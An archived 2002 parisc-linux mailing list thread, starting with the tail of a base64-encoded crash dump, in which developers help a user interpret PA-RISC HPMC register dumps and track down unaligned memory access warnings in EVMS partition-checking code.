Z2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAxZjAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjA0LTA3ICAgMDAwMDQwMDAxMDJm
ZTgxMCAgMDAwMDAwMDExMDE0Y2ZmNCAgZjAwMDAwMDAxMDJmZTgxMCAgMTAzN2EwMTAxMDJkZTAw
MAowOC0xMSAgIDEwMzA0MDIwMDAwMDAwMDIgIDAwMDAwMDAyMDAwMDAwMDIgIDAwMDAwMDAwMTAy
ZmQ4MTAgIDEwMzlmODEwMTAyZmE4MTAKMTItMTUgICAxMDNhMDAwMDEwNzljMDAwICAwMDAwMDAw
MjAwMDAwMDAyICAwMDAwMDAwMDEwMzllMjY0ICAxMDJmYTgxMDEwM2EwMDAwCjE2LTE5ICAgMTAy
ZmQ4MTAwMDAwMDAwYiAgMTAzYjZlNGIxMDJmZGIyOCAgMDAwMDAwMGYxMDNiNjgxMCAgZjAwMDAw
MDAwMDAwMDAwZgoyMC0yMyAgIDAwMDAwMDAxMTAzOWUwMDAgIGYwMDAwMDAwMTAxM2M3MGMgIDAw
MDAwMDAwMDAwMDAwMDggIDAwMDAwMDAwMDAwMDAwMDAKMjQtMjcgICAwMDAwMDAwYTFmZmY5MGEw
ICAwMDAwOTk5OTAwMDAwMDAwICAxMDc5YzAwMDAwMDAwMDAxICAwMDAwMWZiNjEwMmI2MDAwCjI4
LTMxICAgMTA2YjQ2YTAxMDJiNjFhOCAgMTA3OWMwMDAxMDEzZTI2OCAgMTAyZmE4MTAxMDNhMDAw
MCAgMTAwZDQwMDAxMDBkNDVkMAoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVp
dCk+IAoKCic5MDAwLzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBVbmFyY2hpdGVjdGVkIChwZXItQ1BV
KScsIHJldiAxLCAxNDAgYnl0ZXM6CgpDaGVjayBTdW1tYXJ5ICAgICAgICAgICAgICAgID0gMHhj
YjgxMDQxMDAwMDAwMDAwCkF2YWlsYWJsZSBNZW1vcnkgICAgICAgICAgICAgPSAweDAwMDAwMDAw
MTAwMDAwMDAKQ1BVIERpYWdub3NlIFJlZ2lzdGVyIDIgICAgICA9IDB4MDMwMTAwMDAwMDAwMDAw
NApDUFUgU3RhdHVzIFJlZ2lzdGVyIDAgICAgICAgID0gMHgyNDIwYzIwMDAwMDAwMDAwCkNQVSBT
dGF0dXMgUmVnaXN0ZXIgMSAgICAgICAgPSAweDgwODAwMDAwMDAwMDAwMDAKU0FERCBMT0cgICAg
ICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDA0ZTY1Nzg3NApSZWFkIFNob3J0IExPRyAgICAg
ICAgICAgICAgID0gMHhjMWFmMDBmZmZlZTAwZjI4CkVSUk9SX1NUQVRVUyAgICAgICAgICAgICAg
ICAgPSAweDAwMDAwMDAwMDAwMDAwMTAKTUVNX0FERFIgICAgICAgICAgICAgICAgICAgICA9IDB4
MDAwMDAxZmYzZmZmZmZmZgpNRU1fU1lORCAgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAw
MDAwMDAwMDAwCk1FTV9BRERSX0NPUlIgICAgICAgICAgICAgICAgPSAweDAwMDAwMWZmM2ZmZmZm
ZmYKTUVNX1NZTkRfQ09SUiAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApSVU5f
REFUQV9ISUdIICAgICAgICAgICAgICAgID0gMHhjMWJmZjBmZmZlZDA4MDQwClJVTl9EQVRBX0xP
VyAgICAgICAgICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAKUlVOX0NUUkwgICAgICAgICAg
ICAgICAgICAgICA9IDB4MDAwMDAyMWMwMDAwMTQxOApSVU5fQUREUiAgICAgICAgICAgICAgICAg
ICAgID0gMHhjMWJmZjBmZmZlZDA4MDQwClN5c3RlbSBSZXNwb25kZXIgUGF0aCAgICAgICAgPSAw
eDAwZmZmZmZmZmZmZmZmZmYKCgpIUE1DIFBJTSBBbmFseXNpcyBJbmZvcm1hdGlvbjoKClRpbWVz
dGFtcCA9IAogIFR1ZSBTZXAgIDMgMTQ6MjY6MTMgR01UIDIwMDIgICAgKDIwOjAyOjA5OjAzOjE0
OjI2OjEzKQoKCic5MDAwLzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBIUE1DIFBJTSBBbmFseXNpcyAo
cGVyLUNQVSknLCByZXYgMCwgMTMwNCBieXRlczoKCkEgRGF0YSBNaXNzIFRpbWVvdXQgb2NjdXJy
ZWQgd2hpbGUgQ1BVIDAgd2FzCnJlcXVlc3RpbmcgaW5mb3JtYXRpb24uCgoKTWVtb3J5L0lPIENv
bnRyb2xsZXIgRXJyb3IgQW5hbHlzaXMgSW5mb3JtYXRpb246CgpUaGUgTWVtb3J5L0lPIENvbnRy
b2xsZXIgb25seSBvYnNlcnZlZCB0aGUgQnJvYWRjYXN0IEVycm9yLiAgSXQgZGlkIG5vdCBsb2cK
YW55IGFkZGl0aW9uYWwgaW5mb3JtYXRpb24gYWJvdXQgdGhlIEhQTUMuCgo8UHJlc3MgYW55IGtl
eSB0byBjb250aW51ZSAocSB0byBxdWl0KT4gCgotLS0tLS0tLS0tLS0tLS0tLSAgUHJvY2Vzc29y
IDAgTFBNQyBJbmZvcm1hdGlvbiAtLS0tLS0tLS0tLS0tLS0tLS0KCkNoZWNrIFR5cGUgICAgICAg
ICAgICAgICAgICAgPSAweDAwMDAwMDAwCkkvRCBDYWNoZSBQYXJpdHkgSW5mbyAgICAgICAgPSAw
eDAwMDAwMDAwCkNhY2hlIENoZWNrICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwClRMQiBD
aGVjayAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwCkJ1cyBDaGVjayAgICAgICAgICAg
ICAgICAgICAgPSAweDAwMDAwMDAwCkFzc2lzdHMgQ2hlY2sgICAgICAgICAgICAgICAgPSAweDAw
MDAwMDAwCkFzc2lzdCBTdGF0ZSAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwClBhdGggSW5m
byAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwClN5c3RlbSBSZXNwb25kZXIgQWRkcmVz
cyAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKU3lzdGVtIFJlcXVlc3RvciBBZGRyZXNzICAgICA9
IDB4MDAwMDAwMDAwMDAwMDAwMAoKCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNzb3IgMCBUT0Mg
SW5mb3JtYXRpb24gLS0tLS0tLS0tLS0tLS0tLS0tLQoKR2VuZXJhbCBSZWdpc3RlcnMgMCAtIDMx
CjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAw
MDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMDgtMTEgICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwCjEyLTE1ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxNi0xOSAgIDAwMDAwMDAwMDAw
MDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAKMjAtMjMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjI0LTI3ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAw
MDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoyOC0zMSAgIDAw
MDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAw
MDAwMDAwMDAwMDAKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRvIHF1aXQpPiAKCkNv
bnRyb2wgUmVnaXN0ZXJzIDAgLSAzMQowMC0wMyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAw
MDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMDQtMDcgICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwCjA4LTExICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxMi0xNSAgIDAwMDAwMDAwMDAwMDAwMDAg
IDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMTYt
MTkgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDAwCjIwLTIzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoyNC0yNyAgIDAwMDAwMDAw
MDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAKMjgtMzEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwClNwYWNlIFJlZ2lzdGVycyAwIC0gNwoKMDAtMDMg
ICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAw
MDAwMDAwMAowNC0wNyAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAw
MDAwICAgICAgICAgIDAwMDAwMDAwCgpJSUEgU3BhY2UgICAgICAgICAgICAgICAgICAgID0gMHgw
MDAwMDAwMDAwMDAwMDAwCklJQSBPZmZzZXQgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAw
MDAwMDAwMDAKQ1BVIFN0YXRlICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKCgo8UHJl
c3MgYW55IGtleSB0byBjb250aW51ZSAocSB0byBxdWl0KT4gCgpNZW1vcnkgRXJyb3IgTG9nIElu
Zm9ybWF0aW9uOgoKVGltZXN0YW1wID0gCiAgVHVlIFNlcCAgMyAxNDoyNjoxMyBHTVQgMjAwMiAg
ICAoMjA6MDI6MDk6MDM6MTQ6MjY6MTMpCgoKJzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0aW9uIE1l
bW9yeSBFcnJvciBMb2cnLCByZXYgMCwgNjQgYnl0ZXM6CgogICBObyBtZW1vcnkgZXJyb3JzIGxv
Z2dlZAoKCkkvTyBNb2R1bGUgRXJyb3IgTG9nIEluZm9ybWF0aW9uOgoKVGltZXN0YW1wID0gCiAg
VHVlIFNlcCAgMyAxNDoyNjoxMyBHTVQgMjAwMiAgICAoMjA6MDI6MDk6MDM6MTQ6MjY6MTMpCgoK
JzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0aW9uIElPIEVycm9yIExvZycsIHJldiAwLCAyMjggYnl0
ZXM6CgogUm9wZSAgICAgV29yZDEgICAgICAgIFdvcmQyICAgICAgICAgICAgV29yZDMKLS0tLS0t
IC0tLS0tLS0tLS0tLSAtLS0tLS0tLS0tLS0KICAgMCAgICAweDAwMDAwMDAwICAgMHgwZTBjYzAw
OSAgIDB4MDAwMDAwMDBmZWQzMDA0OAogICAxICAgIDB4MDAwMDAwMDAgICAweDFlMGNjMDA5ICAg
MHgwMDAwMDAwMGZlZDMyMDQ4CiAgIDIgICAgLS0tLS0tLS0tLSAgIDB4MmUwY2MwMDkgICAtLS0t
LS0tLS0tLS0tLS0tLS0KICAgMyAgICAtLS0tLS0tLS0tICAgMHgzZTBjYzAwOSAgIC0tLS0tLS0t
LS0tLS0tLS0tLQogICA0ICAgIC0tLS0tLS0tLS0gICAweDRlMGNjMDA5ICAgLS0tLS0tLS0tLS0t
LS0tLS0tCiAgIDUgICAgLS0tLS0tLS0tLSAgIDB4NWUwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0t
LS0KICAgNiAgICAtLS0tLS0tLS0tICAgMHg2ZTBjYzAwOSAgIC0tLS0tLS0tLS0tLS0tLS0tLQog
ICA3ICAgIC0tLS0tLS0tLS0gICAweDdlMGNjMDA5ICAgLS0tLS0tLS0tLS0tLS0tLS0tClNlcnZp
Y2UgTWVudTogRW50ZXIgY29tbWFuZCA+IAoKIyBncmVwIDEwMTA4MCAvYm9vdC9TeXN0ZW0ubWFw
LTIuNC4xOS1wYTkKMTAxMDgwMDAgVCBzeXNjYWxsX2V4aXRfcmZpCjEwMTA4MDY0IHQgaW50cl9y
ZXR1cm4KMTAxMDgwNzggdCBpbnRyX2NoZWNrX3Jlc2NoZWQKMTAxMDgwODQgdCBpbnRyX2NoZWNr
X3NpZwoxMDEwODA5MCB0IGludHJfcmVzdG9yZQoK

--=========3D3815BD0000B0C0/mail.tiscali.be--


From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Tue, 3 Sep 2002 18:02:58 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <3D3815BD0000B0E9@ocpmta5.be.tiscali.com>
References: <20020902172854.C73F44829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621678 13283 80.91.229.3 (22 Nov 2014 02:01:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:18 +0000 (UTC)
Cc: "Joel Soete" <joel.soete@freebel.net>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 10:09:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0FC04844
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 10:09:58 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 3 Sep 2002 18:02:58 +0200
In-Reply-To: <20020902172854.C73F44829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16001

Hello Grant,

>
>then I'll wager there is padding between the char and int fields
>of that struct.

That is also what I believe to understand.

>
...
>> What can I do to analyse this problem? (printing all p addresses and its
>> elements
>> during a run with the original code and compare with a run with modified
>> code?)
>
>yes. You want to verify the addreses are unaligned.

And here is some data of my analyse:

First surprise in the two case (original checks.c and my checks.c with only
"if (p->boot_ind != 0x00 && ") p addresses are exactly the same here is an
example:
with checks.c.orig:
dmesg
...
evms_vgscan(10137): unaligned access to 0x000272ee at ip=0x4020a2ab

corresponding adresses:
p            add: 0x272ee
p.boot_ind   add: 0x272ee
p.head       add: 0x272ef
p.sector     add: 0x272f0
p.cyl        add: 0x272f1
p.sys_ind    add: 0x272f2
p.end_head   add: 0x272f3
p.end_sector add: 0x272f4
p.end_cyl    add: 0x272f5
p.start_sect add: 0x272f6
p.nr_sects   add: 0x272fa

with the checks.c.new:
p            add: 0x272ee
p.boot_ind   add: 0x272ee
p.head       add: 0x272ef
p.sector     add: 0x272f0
p.cyl        add: 0x272f1
p.sys_ind    add: 0x272f2
p.end_head   add: 0x272f3
p.end_sector add: 0x272f4
p.end_cyl    add: 0x272f5
p.start_sect add: 0x272f6
p.nr_sects   add: 0x272fa

What do you think?

Thanks again for attention and help,
    Joel

PS1: just in case I made error here is the code I add to print addresses:
    printf("p            add: %p\n", p);
    printf("p.boot_ind   add: %p\n", &(p->boot_ind));
    printf("p.head       add: %p\n", &(p->head));
    printf("p.sector     add: %p\n", &(p->sector));
    printf("p.cyl        add: %p\n", &(p->cyl));
    printf("p.sys_ind    add: %p\n", &(p->sys_ind));
    printf("p.end_head   add: %p\n", &(p->end_head));
    printf("p.end_sector add: %p\n", &(p->end_sector));
    printf("p.end_cyl    add: %p\n", &(p->end_cyl));
    printf("p.start_sect add: %p\n", &(p->start_sect));
    printf("p.nr_sects   add: %p\n", &(p->nr_sects));

PS2: If you think it could help you more, I can send you the complete logs
I get from the two runs as well as sources



From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Tue, 3 Sep 2002 09:13:26 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20020903161326.GI14634@tausq.org>
References: <20020903070555.GR25710@tausq.org> <3D3815BD0000B0C0@ocpmta5.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621678 13285 80.91.229.3 (22 Nov 2014 02:01:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 10:10:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 295AD4852
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 10:10:06 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8384ACD931; Tue,  3 Sep 2002 09:13:26 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D3815BD0000B0C0@ocpmta5.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16002

> General Registers 0 - 31
> 00-03   0000000000000000  00000000103b7244  0000000010108064  00000000207f8000
                                              ^^^^^^^^^^^^^^^^ GR02, aka
                                              the return pointer

> Control Registers 0 - 31
> 00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11   0000000000000634  0000000000000000  00000000000000c0  0000000000000017
> 12-15   0000000000000000  0000000000000000  0000000000107000  0000000000000000
> 16-19   0000007be95ffc60  0000000000000000  0000000010108638  000000000fa11288
                                                                ^^^^^^^^^^^^^^^^
cr19 is the "IIR", this is the insn that caused the fault
in this case, this insn is stw r1,4(sr0,r29)


> 20-23   0000000010240224  0000000048030104  000000000004000e  0000000080000000
> 24-27   0000000000305000  0000000000305000  0000000000044021  00000000f0412000
> 28-31   0000000055555555  0000000055555555  000000001f1f8000  00000000103a8000
                            ^^^^^^^^^^^^^^^^ which looks quite bogus

> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x000000001010863c
this is the "iaoq" -- the instruction pointer

> But where is iaoq (I do not found in linux/Documentation/parisc)?
> 
> here is what I got: grep 101080 /boot/System.map-2.4.19-pa9
> 10108000 T syscall_exit_rfi
> 10108064 t intr_return
> 10108078 t intr_check_resched
> 10108084 t intr_check_sig
> 10108090 t intr_restore

is this the system.map from the kernel you are building?
if it is, then intr_return is the calling function (one up in the
stack). the function that includes 1010863c is the one that one that's
causing the fault. that would be one place to look.

hth
randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Tue, 03 Sep 2002 14:33:17 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20020903203317.C30834829@dsl2.external.hp.com>
References: <3D3815BD0000B0E9@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621679 13287 80.91.229.3 (22 Nov 2014 02:01:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:19 +0000 (UTC)
Cc: "Joel Soete" <joel.soete@freebel.net>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 14:33:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C30834829; Tue,  3 Sep 2002 14:33:17 -0600 (MDT)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Tue, 03 Sep 2002 18:02:58 +0200." <3D3815BD0000B0E9@ocpmta5.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16003

jsoe0708@tiscali.be wrote:
...
> And here is some data of my analyse:
> 
> First surprise in the two case (original checks.c and my checks.c with only
> "if (p->boot_ind != 0x00 && ") p addresses are exactly the same here is an
> example:

...
> with the checks.c.new:
> p            add: 0x272ee
> p.boot_ind   add: 0x272ee
> p.head       add: 0x272ef
> p.sector     add: 0x272f0
> p.cyl        add: 0x272f1
> p.sys_ind    add: 0x272f2
> p.end_head   add: 0x272f3
> p.end_sector add: 0x272f4
> p.end_cyl    add: 0x272f5
> p.start_sect add: 0x272f6
> p.nr_sects   add: 0x272fa
> 
> What do you think?

checks.c.new will generate a "misaligned access" when "p.start_sect"
is accessed. 0x272f6 is aligned on 2byte address, not 4 byte.
Ditto for "p.nr_sects".

You sure checks.c.new is referencing 0x272f6 and not something else?
You reviewed dmesg output?

...
> PS1: just in case I made error here is the code I add to print addresses:

printf's look right.

> PS2: If you think it could help you more, I can send you the complete logs
> I get from the two runs as well as sources

thanks but no. I'm just trying to help you understand "unaligned access".

grant


From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unaligne access [was: Back to evms-1.0.1 && unaligne access && gdb ]
Date: Tue, 3 Sep 2002 16:44:28 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200209032044.g83KiS0d008279@hiauly1.hia.nrc.ca>
References: <3D3815BD0000B0E9@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621679 13289 80.91.229.3 (22 Nov 2014 02:01:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:19 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 14:44:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06EBA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 14:44:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g83KiU00008280;
	Tue, 3 Sep 2002 16:44:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g83KiS0d008279;
	Tue, 3 Sep 2002 16:44:28 -0400 (EDT)
In-Reply-To: <3D3815BD0000B0E9@ocpmta5.be.tiscali.com> from "jsoe0708@tiscali.be" at Sep 3, 2002 06:02:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16004

> >then I'll wager there is padding between the char and int fields
> >of that struct.
> 
> That is also what I believe to understand.

Unlikely.  The unaligned trap handler in the kernel is probably
fixing the unaligned access.  You need to look in the kernel log
to see if this is happening.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
